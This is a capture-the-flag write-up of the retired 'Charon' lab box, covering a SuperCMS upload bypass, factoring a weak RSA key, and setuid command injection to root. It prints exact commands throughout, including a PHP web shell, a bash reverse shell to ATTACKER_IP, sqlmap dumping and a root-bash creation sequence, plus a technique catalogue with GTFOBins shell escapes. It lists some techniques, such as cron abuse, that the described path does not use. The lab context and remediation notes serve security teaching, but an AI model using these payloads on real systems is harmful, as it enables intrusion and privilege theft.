Charon
Summary
Recon of <retired-instance-ip> (Apache/2.4.18 Ubuntu) found nothing on the default vhost via directory brute force (ffuf + common.txt/CGIs.txt — no exploitable CGI/Shellshock path). Adding a discovered virtual host, charon.htb, to /etc/hosts exposed a SuperCMS installation under /cmsdata/. Authenticating to login.php with credentials super_cms_adm:[REDACTED: recovered credential] reached an authenticated upload.php image-upload form.
The upload form's file-extension filter was enforced client-side only (scripts/my.js ValidateImage()), and the server accepted a double-extension bypass (shell.php.gif), storing it under /images/. Apache's MIME/handler configuration executed the .gif-suffixed file as PHP, giving a web shell (system($_REQUEST['x'])) and RCE as www-data. A reverse shell confirmed foothold (www-data@charon).
Local enumeration found /home/decoder/user.txt unreadable by www-data, but two readable artifacts in the same directory: a 256-bit RSA public key (decoder.pub) and an RSA-encrypted file (pass.crypt). The 256-bit modulus was too weak for its key size — FactorDB factored it instantly (p, q recovered), allowing full RSA private-key reconstruction and decryption of pass.crypt, which yielded the password nevermindthebollocks and the user flag. SSH login as decoder with that password confirmed user ownership.
Privilege escalation: decoder could execute a root-owned setuid binary, /usr/local/bin/supershell, which wraps arbitrary strings in a shell command with some presumed input filtering (reverse-engineered function tonto_chi_legge). The filter did not block command substitution ($( ... )), so arguments like ` /bin/ls $(/bin/cp /bin/bash /tmp/rootbash) executed as root via the setuid binary, letting the operator copy /bin/bash and chmod 4755 it. Running /tmp/rootbash -p yielded a root shell and root.txt`.
- Foothold: SuperCMS authenticated upload extension-filter bypass (client-side validation only) → .gif-executed PHP web shell → RCE as www-data. - Lateral/priv path: weak 256-bit RSA key (factorable via FactorDB) protecting decoder's password → SSH as decoder (user flag). - Privesc: setuid supershell binary vulnerable to shell command-substitution injection → root shell (root flag).
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 -oN charon_nmap.txt $TARGETecho '$TARGET charon.htb' | sudo tee -a /etc/hostscurl -sIL http://$TARGET/cmsdata/login.phpExact commands 2
sqlmap -u 'http://$TARGET/cmsdata/forgot.php' --data 'email=test@test.com' --dbms=mysql --technique=U --dump -T users --batchhashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txtFixReplace concatenated SQL queries with parameterized prepared statementsCritical
Exact commands 6
curl -c cookie.txt -b cookie.txt -L -d 'user=super_cms_adm&pass=[REDACTED: recovered credential]&submit=submit' http://$TARGET/cmsdata/login.phpprintf 'GIF89a;\n<?php if(isset($_REQUEST["x"])){system($_REQUEST["x"]);} ?>\n' > payload.gifcurl -b cookie.txt -F 'image=@payload.gif;filename=shell.php.gif' -F 'c2hlbGwucGhw=testfile1' http://$TARGET/cmsdata/upload.phpcurl 'http://$TARGET/images/shell.php.gif?x=id'nc -lvnp 4444curl 'http://$TARGET/images/shell.php.gif' --get --data-urlencode "x=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"FixEnforce file-upload validation on the server and disable PHP execution in the uploads directoryCritical
Exact commands 4
cat /home/decoder/decoder.pubpython3 -c "from Crypto.PublicKey import RSA; key=RSA.import_key(open('/home/decoder/decoder.pub').read()); print(key.n)"curl -s 'http://factordb.com/api?query=<MODULUS_N>'python3 - <<'PY'
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Cipher import PKCS1_v1_5
p = [REDACTED: protected value]
q = [REDACTED: protected value]
e = 65537
n = p * q
d = inverse(e, (p-1)*(q-1))
priv = RSA.construct((n, e, d, p, q))
cipher = PKCS1_v1_5.new(priv)
ct = open('/home/decoder/pass.crypt','rb').read()
print(cipher.decrypt(ct, None))
PYFixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
Exact commands 2
ssh decoder@$TARGETcat /home/decoder/user.txtFixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
Exact commands 5
ls -la /usr/local/bin/supershell/usr/local/bin/supershell '/bin/ls $(/bin/cp /bin/bash /tmp/rootbash)'/usr/local/bin/supershell '/bin/ls $(/bin/chmod 4755 /tmp/rootbash)'ls -l /tmp/rootbash/tmp/rootbash -p -c 'id; cat /root/root.txt'FixRemove the setuid bit from supershell and redesign privileged access without shell-injection riskCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Shellshock (Bash CGI RCE)Web · Service RCET1190CVE-2014-6271
What it is
Shellshock abuses a flaw in GNU Bash's parsing of environment variables: a variable whose value begins with a function definition (() { :;};) is followed by trailing commands that Bash executes immediately on startup. When a web server runs a CGI script via Bash, user-controlled HTTP headers (commonly User-Agent or Cookie) are exported into the environment, so the trailing payload runs as the web user.
Why it works
CGI scripts pass request metadata into the shell environment by design, and pre-patch Bash executed the trailing code unconditionally. Any internet-facing cgi-bin endpoint backed by Bash was exploitable without authentication. Remediation is patching Bash and retiring Bash-CGI; detection is trivial via the () { :;} signature in request logs.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |